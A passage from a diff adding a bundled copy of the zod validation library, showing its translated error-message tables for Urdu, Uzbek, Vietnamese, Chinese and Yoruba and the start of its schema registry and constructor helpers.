\u06C1\u0648\u0646\u0627 \u0645\u062A\u0648\u0642\u0639 \u062A\u06BE\u0627`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0628\u06C1\u062A \u0686\u06BE\u0648\u0679\u0627: ${issue2.origin} \u06A9\u06D2 ${adj}${issue2.minimum.toString()} ${sizing.unit} \u06C1\u0648\u0646\u06D2 \u0645\u062A\u0648\u0642\u0639 \u062A\u06BE\u06D2`; + } + return `\u0628\u06C1\u062A \u0686\u06BE\u0648\u0679\u0627: ${issue2.origin} \u06A9\u0627 ${adj}${issue2.minimum.toString()} \u06C1\u0648\u0646\u0627 \u0645\u062A\u0648\u0642\u0639 \u062A\u06BE\u0627`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u063A\u0644\u0637 \u0633\u0679\u0631\u0646\u06AF: "${_issue.prefix}" \u0633\u06D2 \u0634\u0631\u0648\u0639 \u06C1\u0648\u0646\u0627 \u0686\u0627\u06C1\u06CC\u06D2`; + } + if (_issue.format === "ends_with") + return `\u063A\u0644\u0637 \u0633\u0679\u0631\u0646\u06AF: "${_issue.suffix}" \u067E\u0631 \u062E\u062A\u0645 \u06C1\u0648\u0646\u0627 \u0686\u0627\u06C1\u06CC\u06D2`; + if (_issue.format === "includes") + return `\u063A\u0644\u0637 \u0633\u0679\u0631\u0646\u06AF: "${_issue.includes}" \u0634\u0627\u0645\u0644 \u06C1\u0648\u0646\u0627 \u0686\u0627\u06C1\u06CC\u06D2`; + if (_issue.format === "regex") + return `\u063A\u0644\u0637 \u0633\u0679\u0631\u0646\u06AF: \u067E\u06CC\u0679\u0631\u0646 ${_issue.pattern} \u0633\u06D2 \u0645\u06CC\u0686 \u06C1\u0648\u0646\u0627 \u0686\u0627\u06C1\u06CC\u06D2`; + return `\u063A\u0644\u0637 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u063A\u0644\u0637 \u0646\u0645\u0628\u0631: ${issue2.divisor} \u06A9\u0627 \u0645\u0636\u0627\u0639\u0641 \u06C1\u0648\u0646\u0627 \u0686\u0627\u06C1\u06CC\u06D2`; + case "unrecognized_keys": + return `\u063A\u06CC\u0631 \u062A\u0633\u0644\u06CC\u0645 \u0634\u062F\u06C1 \u06A9\u06CC${issue2.keys.length > 1 ? "\u0632" : ""}: ${joinValues(issue2.keys, "\u060C ")}`; + case "invalid_key": + return `${issue2.origin} \u0645\u06CC\u06BA \u063A\u0644\u0637 \u06A9\u06CC`; + case "invalid_union": + return "\u063A\u0644\u0637 \u0627\u0646 \u067E\u0679"; + case "invalid_element": + return `${issue2.origin} \u0645\u06CC\u06BA \u063A\u0644\u0637 \u0648\u06CC\u0644\u06CC\u0648`; + default: + return `\u063A\u0644\u0637 \u0627\u0646 \u067E\u0679`; + } + }; +}; +function ur_default() { + return { + localeError: error45() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js +var error46 = () => { + const Sizable = { + string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, + file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, + array: { unit: "element", verb: "bo\u2018lishi kerak" }, + set: { unit: "element", verb: "bo\u2018lishi kerak" }, + map: { unit: "yozuv", verb: "bo\u2018lishi kerak" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "kirish", + email: "elektron pochta manzili", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sana va vaqti", + date: "ISO sana", + time: "ISO vaqt", + duration: "ISO davomiylik", + ipv4: "IPv4 manzil", + ipv6: "IPv6 manzil", + mac: "MAC manzil", + cidrv4: "IPv4 diapazon", + cidrv6: "IPv6 diapazon", + base64: "base64 kodlangan satr", + base64url: "base64url kodlangan satr", + json_string: "JSON satr", + e164: "E.164 raqam", + jwt: "JWT", + template_literal: "kirish" + }; + const TypeDictionary = { + nan: "NaN", + number: "raqam", + array: "massiv" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Noto\u2018g\u2018ri kirish: kutilgan instanceof ${issue2.expected}, qabul qilingan ${received}`; + } + return `Noto\u2018g\u2018ri kirish: kutilgan ${expected}, qabul qilingan ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Noto\u2018g\u2018ri kirish: kutilgan ${stringifyPrimitive(issue2.values[0])}`; + return `Noto\u2018g\u2018ri variant: quyidagilardan biri kutilgan ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Juda katta: kutilgan ${issue2.origin ?? "qiymat"} ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `Juda katta: kutilgan ${issue2.origin ?? "qiymat"} ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Juda kichik: kutilgan ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + } + return `Juda kichik: kutilgan ${issue2.origin} ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Noto\u2018g\u2018ri satr: "${_issue.prefix}" bilan boshlanishi kerak`; + if (_issue.format === "ends_with") + return `Noto\u2018g\u2018ri satr: "${_issue.suffix}" bilan tugashi kerak`; + if (_issue.format === "includes") + return `Noto\u2018g\u2018ri satr: "${_issue.includes}" ni o\u2018z ichiga olishi kerak`; + if (_issue.format === "regex") + return `Noto\u2018g\u2018ri satr: ${_issue.pattern} shabloniga mos kelishi kerak`; + return `Noto\u2018g\u2018ri ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Noto\u2018g\u2018ri raqam: ${issue2.divisor} ning karralisi bo\u2018lishi kerak`; + case "unrecognized_keys": + return `Noma\u2019lum kalit${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} dagi kalit noto\u2018g\u2018ri`; + case "invalid_union": + return "Noto\u2018g\u2018ri kirish"; + case "invalid_element": + return `${issue2.origin} da noto\u2018g\u2018ri qiymat`; + default: + return `Noto\u2018g\u2018ri kirish`; + } + }; +}; +function uz_default() { + return { + localeError: error46() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js +var error47 = () => { + const Sizable = { + string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, + file: { unit: "byte", verb: "c\xF3" }, + array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0111\u1EA7u v\xE0o", + email: "\u0111\u1ECBa ch\u1EC9 email", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ng\xE0y gi\u1EDD ISO", + date: "ng\xE0y ISO", + time: "gi\u1EDD ISO", + duration: "kho\u1EA3ng th\u1EDDi gian ISO", + ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", + ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + cidrv4: "d\u1EA3i IPv4", + cidrv6: "d\u1EA3i IPv6", + base64: "chu\u1ED7i m\xE3 h\xF3a base64", + base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", + json_string: "chu\u1ED7i JSON", + e164: "s\u1ED1 E.164", + jwt: "JWT", + template_literal: "\u0111\u1EA7u v\xE0o" + }; + const TypeDictionary = { + nan: "NaN", + number: "s\u1ED1", + array: "m\u1EA3ng" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u0110\u1EA7u v\xE0o kh\xF4ng h\u1EE3p l\u1EC7: mong \u0111\u1EE3i instanceof ${issue2.expected}, nh\u1EADn \u0111\u01B0\u1EE3c ${received}`; + } + return `\u0110\u1EA7u v\xE0o kh\xF4ng h\u1EE3p l\u1EC7: mong \u0111\u1EE3i ${expected}, nh\u1EADn \u0111\u01B0\u1EE3c ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0110\u1EA7u v\xE0o kh\xF4ng h\u1EE3p l\u1EC7: mong \u0111\u1EE3i ${stringifyPrimitive(issue2.values[0])}`; + return `T\xF9y ch\u1ECDn kh\xF4ng h\u1EE3p l\u1EC7: mong \u0111\u1EE3i m\u1ED9t trong c\xE1c gi\xE1 tr\u1ECB ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Qu\xE1 l\u1EDBn: mong \u0111\u1EE3i ${issue2.origin ?? "gi\xE1 tr\u1ECB"} ${sizing.verb} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "ph\u1EA7n t\u1EED"}`; + return `Qu\xE1 l\u1EDBn: mong \u0111\u1EE3i ${issue2.origin ?? "gi\xE1 tr\u1ECB"} ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Qu\xE1 nh\u1ECF: mong \u0111\u1EE3i ${issue2.origin} ${sizing.verb} ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Qu\xE1 nh\u1ECF: mong \u0111\u1EE3i ${issue2.origin} ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Chu\u1ED7i kh\xF4ng h\u1EE3p l\u1EC7: ph\u1EA3i b\u1EAFt \u0111\u1EA7u b\u1EB1ng "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Chu\u1ED7i kh\xF4ng h\u1EE3p l\u1EC7: ph\u1EA3i k\u1EBFt th\xFAc b\u1EB1ng "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Chu\u1ED7i kh\xF4ng h\u1EE3p l\u1EC7: ph\u1EA3i bao g\u1ED3m "${_issue.includes}"`; + if (_issue.format === "regex") + return `Chu\u1ED7i kh\xF4ng h\u1EE3p l\u1EC7: ph\u1EA3i kh\u1EDBp v\u1EDBi m\u1EABu ${_issue.pattern}`; + return `${FormatDictionary[_issue.format] ?? issue2.format} kh\xF4ng h\u1EE3p l\u1EC7`; + } + case "not_multiple_of": + return `S\u1ED1 kh\xF4ng h\u1EE3p l\u1EC7: ph\u1EA3i l\xE0 b\u1ED9i s\u1ED1 c\u1EE7a ${issue2.divisor}`; + case "unrecognized_keys": + return `Kh\xF3a kh\xF4ng \u0111\u01B0\u1EE3c nh\u1EADn d\u1EA1ng: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Kh\xF3a kh\xF4ng h\u1EE3p l\u1EC7 trong ${issue2.origin}`; + case "invalid_union": + return "\u0110\u1EA7u v\xE0o kh\xF4ng h\u1EE3p l\u1EC7"; + case "invalid_element": + return `Gi\xE1 tr\u1ECB kh\xF4ng h\u1EE3p l\u1EC7 trong ${issue2.origin}`; + default: + return `\u0110\u1EA7u v\xE0o kh\xF4ng h\u1EE3p l\u1EC7`; + } + }; +}; +function vi_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js +var error48 = () => { + const Sizable = { + string: { unit: "\u5B57\u7B26", verb: "\u5305\u542B" }, + file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, + array: { unit: "\u9879", verb: "\u5305\u542B" }, + set: { unit: "\u9879", verb: "\u5305\u542B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u8F93\u5165", + email: "\u7535\u5B50\u90AE\u4EF6", + url: "URL", + emoji: "\u8868\u60C5\u7B26\u53F7", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO\u65E5\u671F\u65F6\u95F4", + date: "ISO\u65E5\u671F", + time: "ISO\u65F6\u95F4", + duration: "ISO\u65F6\u957F", + ipv4: "IPv4\u5730\u5740", + ipv6: "IPv6\u5730\u5740", + cidrv4: "IPv4\u7F51\u6BB5", + cidrv6: "IPv6\u7F51\u6BB5", + base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", + base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", + json_string: "JSON\u5B57\u7B26\u4E32", + e164: "E.164\u53F7\u7801", + jwt: "JWT", + template_literal: "\u8F93\u5165" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u6570\u5B57", + array: "\u6570\u7EC4", + null: "\u7A7A\u503C(null)" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u65E0\u6548\u8F93\u5165\uFF1A\u671F\u671B instanceof ${issue2.expected}\uFF0C\u5B9E\u9645\u63A5\u6536 ${received}`; + } + return `\u65E0\u6548\u8F93\u5165\uFF1A\u671F\u671B ${expected}\uFF0C\u5B9E\u9645\u63A5\u6536 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u65E0\u6548\u8F93\u5165\uFF1A\u671F\u671B ${stringifyPrimitive(issue2.values[0])}`; + return `\u65E0\u6548\u9009\u9879\uFF1A\u671F\u671B\u4EE5\u4E0B\u4E4B\u4E00 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u6570\u503C\u8FC7\u5927\uFF1A\u671F\u671B ${issue2.origin ?? "\u503C"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u4E2A\u5143\u7D20"}`; + return `\u6570\u503C\u8FC7\u5927\uFF1A\u671F\u671B ${issue2.origin ?? "\u503C"} ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u6570\u503C\u8FC7\u5C0F\uFF1A\u671F\u671B ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u6570\u503C\u8FC7\u5C0F\uFF1A\u671F\u671B ${issue2.origin} ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u65E0\u6548\u5B57\u7B26\u4E32\uFF1A\u5FC5\u987B\u4EE5 "${_issue.prefix}" \u5F00\u5934`; + if (_issue.format === "ends_with") + return `\u65E0\u6548\u5B57\u7B26\u4E32\uFF1A\u5FC5\u987B\u4EE5 "${_issue.suffix}" \u7ED3\u5C3E`; + if (_issue.format === "includes") + return `\u65E0\u6548\u5B57\u7B26\u4E32\uFF1A\u5FC5\u987B\u5305\u542B "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u65E0\u6548\u5B57\u7B26\u4E32\uFF1A\u5FC5\u987B\u6EE1\u8DB3\u6B63\u5219\u8868\u8FBE\u5F0F ${_issue.pattern}`; + return `\u65E0\u6548${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u65E0\u6548\u6570\u5B57\uFF1A\u5FC5\u987B\u662F ${issue2.divisor} \u7684\u500D\u6570`; + case "unrecognized_keys": + return `\u51FA\u73B0\u672A\u77E5\u7684\u952E(key): ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u4E2D\u7684\u952E(key)\u65E0\u6548`; + case "invalid_union": + return "\u65E0\u6548\u8F93\u5165"; + case "invalid_element": + return `${issue2.origin} \u4E2D\u5305\u542B\u65E0\u6548\u503C(value)`; + default: + return `\u65E0\u6548\u8F93\u5165`; + } + }; +}; +function zh_CN_default() { + return { + localeError: error48() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js +var error49 = () => { + const Sizable = { + string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, + file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, + array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u8F38\u5165", + email: "\u90F5\u4EF6\u5730\u5740", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u65E5\u671F\u6642\u9593", + date: "ISO \u65E5\u671F", + time: "ISO \u6642\u9593", + duration: "ISO \u671F\u9593", + ipv4: "IPv4 \u4F4D\u5740", + ipv6: "IPv6 \u4F4D\u5740", + cidrv4: "IPv4 \u7BC4\u570D", + cidrv6: "IPv6 \u7BC4\u570D", + base64: "base64 \u7DE8\u78BC\u5B57\u4E32", + base64url: "base64url \u7DE8\u78BC\u5B57\u4E32", + json_string: "JSON \u5B57\u4E32", + e164: "E.164 \u6578\u503C", + jwt: "JWT", + template_literal: "\u8F38\u5165" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u7121\u6548\u7684\u8F38\u5165\u503C\uFF1A\u9810\u671F\u70BA instanceof ${issue2.expected}\uFF0C\u4F46\u6536\u5230 ${received}`; + } + return `\u7121\u6548\u7684\u8F38\u5165\u503C\uFF1A\u9810\u671F\u70BA ${expected}\uFF0C\u4F46\u6536\u5230 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u7121\u6548\u7684\u8F38\u5165\u503C\uFF1A\u9810\u671F\u70BA ${stringifyPrimitive(issue2.values[0])}`; + return `\u7121\u6548\u7684\u9078\u9805\uFF1A\u9810\u671F\u70BA\u4EE5\u4E0B\u5176\u4E2D\u4E4B\u4E00 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u6578\u503C\u904E\u5927\uFF1A\u9810\u671F ${issue2.origin ?? "\u503C"} \u61C9\u70BA ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u500B\u5143\u7D20"}`; + return `\u6578\u503C\u904E\u5927\uFF1A\u9810\u671F ${issue2.origin ?? "\u503C"} \u61C9\u70BA ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u6578\u503C\u904E\u5C0F\uFF1A\u9810\u671F ${issue2.origin} \u61C9\u70BA ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u6578\u503C\u904E\u5C0F\uFF1A\u9810\u671F ${issue2.origin} \u61C9\u70BA ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u7121\u6548\u7684\u5B57\u4E32\uFF1A\u5FC5\u9808\u4EE5 "${_issue.prefix}" \u958B\u982D`; + } + if (_issue.format === "ends_with") + return `\u7121\u6548\u7684\u5B57\u4E32\uFF1A\u5FC5\u9808\u4EE5 "${_issue.suffix}" \u7D50\u5C3E`; + if (_issue.format === "includes") + return `\u7121\u6548\u7684\u5B57\u4E32\uFF1A\u5FC5\u9808\u5305\u542B "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u7121\u6548\u7684\u5B57\u4E32\uFF1A\u5FC5\u9808\u7B26\u5408\u683C\u5F0F ${_issue.pattern}`; + return `\u7121\u6548\u7684 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u7121\u6548\u7684\u6578\u5B57\uFF1A\u5FC5\u9808\u70BA ${issue2.divisor} \u7684\u500D\u6578`; + case "unrecognized_keys": + return `\u7121\u6CD5\u8B58\u5225\u7684\u9375\u503C${issue2.keys.length > 1 ? "\u5011" : ""}\uFF1A${joinValues(issue2.keys, "\u3001")}`; + case "invalid_key": + return `${issue2.origin} \u4E2D\u6709\u7121\u6548\u7684\u9375\u503C`; + case "invalid_union": + return "\u7121\u6548\u7684\u8F38\u5165\u503C"; + case "invalid_element": + return `${issue2.origin} \u4E2D\u6709\u7121\u6548\u7684\u503C`; + default: + return `\u7121\u6548\u7684\u8F38\u5165\u503C`; + } + }; +}; +function zh_TW_default() { + return { + localeError: error49() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js +var error50 = () => { + const Sizable = { + string: { unit: "\xE0mi", verb: "n\xED" }, + file: { unit: "bytes", verb: "n\xED" }, + array: { unit: "nkan", verb: "n\xED" }, + set: { unit: "nkan", verb: "n\xED" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9", + email: "\xE0d\xEDr\u1EB9\u0301s\xEC \xECm\u1EB9\u0301l\xEC", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\xE0k\xF3k\xF2 ISO", + date: "\u1ECDj\u1ECD\u0301 ISO", + time: "\xE0k\xF3k\xF2 ISO", + duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", + ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", + ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + cidrv4: "\xE0gb\xE8gb\xE8 IPv4", + cidrv6: "\xE0gb\xE8gb\xE8 IPv6", + base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", + base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", + json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", + e164: "n\u1ECD\u0301mb\xE0 E.164", + jwt: "JWT", + template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" + }; + const TypeDictionary = { + nan: "NaN", + number: "n\u1ECD\u0301mb\xE0", + array: "akop\u1ECD" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\xCCb\xE1w\u1ECDl\xE9 a\u1E63\xEC\u1E63e: a n\xED l\xE1ti fi instanceof ${issue2.expected}, \xE0m\u1ECD\u0300 a r\xED ${received}`; + } + return `\xCCb\xE1w\u1ECDl\xE9 a\u1E63\xEC\u1E63e: a n\xED l\xE1ti fi ${expected}, \xE0m\u1ECD\u0300 a r\xED ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\xCCb\xE1w\u1ECDl\xE9 a\u1E63\xEC\u1E63e: a n\xED l\xE1ti fi ${stringifyPrimitive(issue2.values[0])}`; + return `\xC0\u1E63\xE0y\xE0n a\u1E63\xEC\u1E63e: yan \u1ECD\u0300kan l\xE1ra ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `T\xF3 p\u1ECD\u0300 j\xF9: a n\xED l\xE1ti j\u1EB9\u0301 p\xE9 ${issue2.origin ?? "iye"} ${sizing.verb} ${adj}${issue2.maximum} ${sizing.unit}`; + return `T\xF3 p\u1ECD\u0300 j\xF9: a n\xED l\xE1ti j\u1EB9\u0301 ${adj}${issue2.maximum}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `K\xE9r\xE9 ju: a n\xED l\xE1ti j\u1EB9\u0301 p\xE9 ${issue2.origin} ${sizing.verb} ${adj}${issue2.minimum} ${sizing.unit}`; + return `K\xE9r\xE9 ju: a n\xED l\xE1ti j\u1EB9\u0301 ${adj}${issue2.minimum}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u1ECC\u0300r\u1ECD\u0300 a\u1E63\xEC\u1E63e: gb\u1ECD\u0301d\u1ECD\u0300 b\u1EB9\u0300r\u1EB9\u0300 p\u1EB9\u0300l\xFA "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `\u1ECC\u0300r\u1ECD\u0300 a\u1E63\xEC\u1E63e: gb\u1ECD\u0301d\u1ECD\u0300 par\xED p\u1EB9\u0300l\xFA "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u1ECC\u0300r\u1ECD\u0300 a\u1E63\xEC\u1E63e: gb\u1ECD\u0301d\u1ECD\u0300 n\xED "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u1ECC\u0300r\u1ECD\u0300 a\u1E63\xEC\u1E63e: gb\u1ECD\u0301d\u1ECD\u0300 b\xE1 \xE0p\u1EB9\u1EB9r\u1EB9 mu ${_issue.pattern}`; + return `A\u1E63\xEC\u1E63e: ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\u1ECD\u0301mb\xE0 a\u1E63\xEC\u1E63e: gb\u1ECD\u0301d\u1ECD\u0300 j\u1EB9\u0301 \xE8y\xE0 p\xEDp\xEDn ti ${issue2.divisor}`; + case "unrecognized_keys": + return `B\u1ECDt\xECn\xEC \xE0\xECm\u1ECD\u0300: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `B\u1ECDt\xECn\xEC a\u1E63\xEC\u1E63e n\xEDn\xFA ${issue2.origin}`; + case "invalid_union": + return "\xCCb\xE1w\u1ECDl\xE9 a\u1E63\xEC\u1E63e"; + case "invalid_element": + return `Iye a\u1E63\xEC\u1E63e n\xEDn\xFA ${issue2.origin}`; + default: + return "\xCCb\xE1w\u1ECDl\xE9 a\u1E63\xEC\u1E63e"; + } + }; +}; +function yo_default() { + return { + localeError: error50() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +var _a2; +var $output = Symbol("ZodOutput"); +var $input = Symbol("ZodInput"); +var $ZodRegistry = class { + constructor() { + this._map = /* @__PURE__ */ new WeakMap(); + this._idmap = /* @__PURE__ */ new Map(); + } + add(schema, ..._meta) { + const meta3 = _meta[0]; + this._map.set(schema, meta3); + if (meta3 && typeof meta3 === "object" && "id" in meta3) { + this._idmap.set(meta3.id, schema); + } + return this; + } + clear() { + this._map = /* @__PURE__ */ new WeakMap(); + this._idmap = /* @__PURE__ */ new Map(); + return this; + } + remove(schema) { + const meta3 = this._map.get(schema); + if (meta3 && typeof meta3 === "object" && "id" in meta3) { + this._idmap.delete(meta3.id); + } + this._map.delete(schema); + return this; + } + get(schema) { + const p = schema._zod.parent; + if (p) { + const pm = { ...this.get(p) ?? {} }; + delete pm.id; + const f = { ...pm, ...this._map.get(schema) }; + return Object.keys(f).length ? f : void 0; + } + return this._map.get(schema); + } + has(schema) { + return this._map.has(schema); + } +}; +function registry() { + return new $ZodRegistry(); +} +(_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); +var globalRegistry = globalThis.__zod_globalRegistry; + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// @__NO_SIDE_EFFECTS__ +function _string(Class2, params) { + return new Class2({ + type: "string", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _coercedString(Class2, params) { + return new Class2({ + type: "string", + coerce: true, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _email(Class2, params) { + return new Class2({ + type: "string", + format: "email", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _guid(Class2, params) { + return new Class2({ + type: "string", + format: "guid", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _uuid(Class2, params) { + return new Class2({ + type: "string", + format: "uuid", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _uuidv4(Class2, params) { + return new Class2({ + type: "string", + format: "uuid", + check: "string_format", + abort: false, + version: "v4", + ...normalizeParams(params) + }); +} +// 